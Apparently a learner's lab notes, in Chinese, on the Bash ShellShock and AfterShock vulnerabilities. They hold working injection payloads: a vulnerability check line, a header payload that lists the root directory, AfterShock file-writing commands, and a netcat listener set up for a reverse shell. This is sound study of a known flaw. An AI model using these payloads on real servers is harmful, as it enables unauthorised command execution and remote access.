VulApps-b
Bash ShellShock CVE-2014-6271
漏洞原理
https://www.antiy.com/response/CVE-2014-6271.html
目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。
目前的bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的bash函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。
漏洞验证
1 | env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test" |
其中的:相当于/bin/true
即函数体相当于
{true;}
对于存在漏洞的bash,则会打印出两句话,不存在漏洞的bash通常只能打印出test
命令执行:
1 | x: () { :;};echo ; echo; echo $(/bin/ls -al /); |
疑问:第一行的语句
ls -al
换成ls
或ls -a
或ls -l
均不能正常回显此外,第一行语句的前两个echo,暂时不能理解其意义,但是全删除了不能正常回显,至少保留一个
而使用安天提供的第二行语句,尝试
ls -al
则同样不能正常回显
反弹shell
1 | nc -lv 8888#首先攻击者监听一个端口 |
CVE-2014-7169 “AfterShock”
参考链接:https://bbs.ichunqiu.com/thread-8046-1-1.html
这上面说的挺详细的
在ShellShock被修复后,有人发现它没修理彻底
1 | env X='() { (a)=>\' bash -c "test date"; cat test |
这里,
X为一个变量,值为一个不完整的函数,函数体为(a)=,此时bash会报出错误
1 | bash: X: line 1: syntax error near unexpected token `=' |
而其后的>\
则会被保留,test date
则会被换行,两者组合成
1 | >test date |
即
1 | date >test |
因此会在当前目录下产生test文件,保存date的输出,之后用cat调用。
同理可以将其修改成
1 | env X='() { (a)=>\' bash -c "test ls /"; cat test |